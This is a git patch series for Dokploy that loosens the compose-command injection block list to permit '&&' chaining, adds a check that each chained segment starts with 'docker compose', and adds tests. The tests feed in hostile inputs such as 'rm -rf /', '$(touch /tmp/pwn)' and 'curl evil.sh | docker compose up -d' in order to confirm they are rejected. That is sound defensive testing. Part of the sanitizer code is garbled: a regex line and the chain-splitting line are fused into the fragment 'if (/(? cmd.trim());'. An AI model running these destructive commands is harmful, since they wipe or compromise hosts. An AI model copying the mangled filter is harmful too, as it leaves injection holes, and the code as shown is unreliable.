From ac57e22b87dff954d668929e4f24972afdeb2dab Mon Sep 17 00:00:00 2001
From: ews-pgasser
Date: Thu, 6 Aug 2026 15:13:27 +0200
Subject: [PATCH 1/3] fix: allow docker compose command chaining
---
packages/server/src/utils/builders/compose.ts | 21 +++++++++++++++++--
1 file changed, 19 insertions(+), 2 deletions(-)
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 1694a48ed8..89851d84ce 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -70,7 +70,8 @@ Compose Type: ${composeType} ✅`;
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
-const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
+// Removed '&' from the blocklist to allow '&&' chaining
+const UNSAFE_COMPOSE_COMMAND = /[;|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim();
@@ -81,8 +82,24 @@ const sanitizeCommand = (command: string) => {
);
}
- const parts = sanitizedCommand.split(/\s+/);
+ if (sanitizedCommand.includes("&")) {
+ // Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&'
+ if (/(? cmd.trim());
+ const isSafeChain = chains.slice(1).every((cmd) =>
+ cmd.startsWith("docker compose ") || cmd.startsWith("docker-compose ")
+ );
+ if (!isSafeChain) {
+ throw new Error("Chained commands must strictly start with 'docker compose '");
+ }
+ }
+
+ const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
return restCommand.join(" ");
From f3c7edcfd6af736aa869daa9c3d5cb89a3232bd6 Mon Sep 17 00:00:00 2001
From: ews-pgasser
Date: Fri, 7 Aug 2026 12:00:55 +0000
Subject: [PATCH 2/3] fix: use proper linting
---
packages/server/src/utils/builders/compose.ts | 21 +++++++++++++------
1 file changed, 15 insertions(+), 6 deletions(-)
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 89851d84ce..77cfc91db9 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -82,20 +82,29 @@ const sanitizeCommand = (command: string) => {
);
}
- if (sanitizedCommand.includes("&")) {
+ if (sanitizedCommand.includes("&")) {
// Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&'
- if (/(? cmd.trim());
- const isSafeChain = chains.slice(1).every((cmd) =>
- cmd.startsWith("docker compose ") || cmd.startsWith("docker-compose ")
- );
+ const isSafeChain = chains
+ .slice(1)
+ .every(
+ (cmd) =>
+ cmd.startsWith("docker compose ") ||
+ cmd.startsWith("docker-compose "),
+ );
if (!isSafeChain) {
- throw new Error("Chained commands must strictly start with 'docker compose '");
+ throw new Error(
+ "Chained commands must strictly start with 'docker compose '",
+ );
}
}
From 65d2853b9e9e0715d9ae20006f43a2a4b749697e Mon Sep 17 00:00:00 2001
From: ews-pgasser
Date: Fri, 7 Aug 2026 12:01:08 +0000
Subject: [PATCH 3/3] chore: add tests
---
.../compose/compose-command-injection.test.ts | 67 ++++++++++++++++++-
1 file changed, 66 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
index 372a6fc592..f979c5c846 100644
--- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts
+++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts
@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
const PAYLOADS = [
`$(touch ${MARK})`,
- "`touch " + MARK + "`",
+ `\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});
+
+ it("allows chained docker compose commands with '&&'", () => {
+ const cmd = createCommand({
+ ...base,
+ command:
+ "compose pull && docker compose down && docker compose up -d --build",
+ } as any);
+ expect(cmd).toBe(
+ "compose pull && docker compose down && docker compose up -d --build",
+ );
+ });
+
+ it("allows chaining with the legacy 'docker-compose' spelling", () => {
+ const cmd = createCommand({
+ ...base,
+ command: "compose pull && docker-compose down",
+ } as any);
+ expect(cmd).toBe("compose pull && docker-compose down");
+ });
+
+ it("rejects a single '&' used for backgrounding", () => {
+ expect(() =>
+ createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
+ ).toThrow(/Single '&' is not allowed/);
+ });
+
+ it("rejects a malformed '&&&' chain", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull &&& docker compose up -d",
+ } as any),
+ ).toThrow(/Single '&' is not allowed/);
+ });
+
+ it("rejects chained segments that are not docker compose invocations", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull && rm -rf /",
+ } as any),
+ ).toThrow(/must strictly start with 'docker compose '/);
+ });
+
+ it("rejects an attempted injection smuggled inside a chained segment", () => {
+ for (const bad of [
+ "compose pull && docker compose up -d; touch /tmp/pwn",
+ "compose pull && docker compose up -d $(touch /tmp/pwn)",
+ "compose pull && docker compose up -d `touch /tmp/pwn`",
+ "compose pull && docker compose up -d | touch /tmp/pwn",
+ ]) {
+ expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+ /Invalid characters/,
+ );
+ }
+ });
+
+ it("rejects a chain that only pretends to start with docker compose later in the string", () => {
+ expect(() =>
+ createCommand({
+ ...base,
+ command: "compose pull && curl evil.sh | docker compose up -d",
+ } as any),
+ ).toThrow(/Invalid characters/);
+ });
});